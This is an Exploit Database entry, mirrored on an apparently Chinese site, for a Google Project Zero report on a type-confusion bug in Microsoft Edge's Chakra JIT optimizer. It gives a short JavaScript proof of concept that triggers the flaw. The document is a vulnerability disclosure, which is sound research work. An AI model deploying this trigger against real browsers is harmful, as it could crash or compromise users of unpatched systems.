Microsoft Edge Chakra JIT – ‘GlobOpt::OptTagChecks’ Must Consider IsLoopPrePass Properly

• Exploit Database
• 115 阅读

• 作者： Google Security Research
  日期： 2017-11-27
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43183/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365   Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364   There&apos;s one more place that emits a BailOnNotObject opcode.   Here&apos;s a snippet of GlobOpt::OptTagChecks. if (valueType.CanBeTaggedValue() && !valueType.HasBeenNumber() && (this->IsLoopPrePass() || !this->currentBlock->loop)) { ValueType newValueType = valueType.SetCanBeTaggedValue(false);   // Split out the tag check as a separate instruction. IR::Instr *bailOutInstr; bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func); ... }   The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.   But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.   PoC: */   function opt() { let obj = [2.3023e-320]; for (let i = 0; i < 1; i++) { obj.x = 1;// In the first analysis, BailOnNotObject emitted obj = +obj;// Change the type obj.x = 1;// Type confusion } }   function main() { for (let i = 0; i < 1000; i++) { opt(); } }   main();